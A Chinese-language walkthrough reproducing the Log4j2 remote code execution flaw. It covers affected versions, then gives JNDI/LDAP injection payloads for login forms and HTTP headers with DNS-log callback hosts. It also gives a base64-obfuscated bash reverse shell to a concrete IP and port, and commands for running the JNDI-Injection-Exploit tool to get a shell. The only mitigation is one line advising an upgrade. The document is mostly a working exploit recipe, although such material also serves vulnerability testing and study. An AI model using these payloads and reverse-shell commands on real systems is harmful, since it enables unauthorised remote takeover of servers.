log4j漏洞复现
漏洞情况
Apache Log4j2是一款优秀的Java日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。
影响范围:
Apache Log4j 2.x < 2.15.0-rc2
POC验证:
漏洞poc-payload:${jndi:ldap://x.x.x.x}
qce524.ceye.io
漏洞poc-payload:${jndi:ldap://qce524.ceye.io}
案例1:
网站登陆口(post数据)
1、获取dnslog
2、网站登陆口使用漏洞poc-payload
**${jndi:ldap://**d63bb2586.lab.aqlab.cn.49bf2271.dns.1433.eu.org}
点击登陆
dnslog收到消息:(漏洞存在)
案例2:
网站请求头
1、获取dnslog
2、网站请求头使用漏洞poc-payload
${jndi:ldap://123.58.236.76:38695.49bf2271.dns.1433.eu.org}
dnslog收到消息,漏洞存在
EXP反弹shell:
1、远程服务器开始反弹shell监听
2、构造反弹代码
old:bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1
new:bash -c {echo,xxxxxxxxxxx}|{base64,-d}|{bash,-i}
old部分进行base64编码,然后放入下面部分
shell命令:bash -i >& /dev/tcp/x.x.x.x/8080 0>&1
base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIwLjMxLzgwODAgMD4mMQ==
反弹shell命令:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIwLjMxLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
3、执行payload反弹shell
**a、**用VPS下载log4j2的利用工具,github项目地址:https://github.com/sayers522/JNDI-Injection-Exploit或https://github.com/welk1n/JNDI-Injection-Exploit(JNDI命令注入利用)
下载的如果是源文件,需要进入目录mvn install 打包一下
b、在打包好的工具中执行:
用JNDIExploit启动一个ldap的服务
下列命令要再监听服务端开启,并且反弹拿到shell前不能关闭
阿里云服务器记得把jndi监听的端口全打开
java** -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”**
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIwLjMxLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "x.x.x.x"
-C 为反弹shell的命令
-A为服务端监听地址
c、使用exp反弹shell
拿到shell
修复建议:
升级到最新版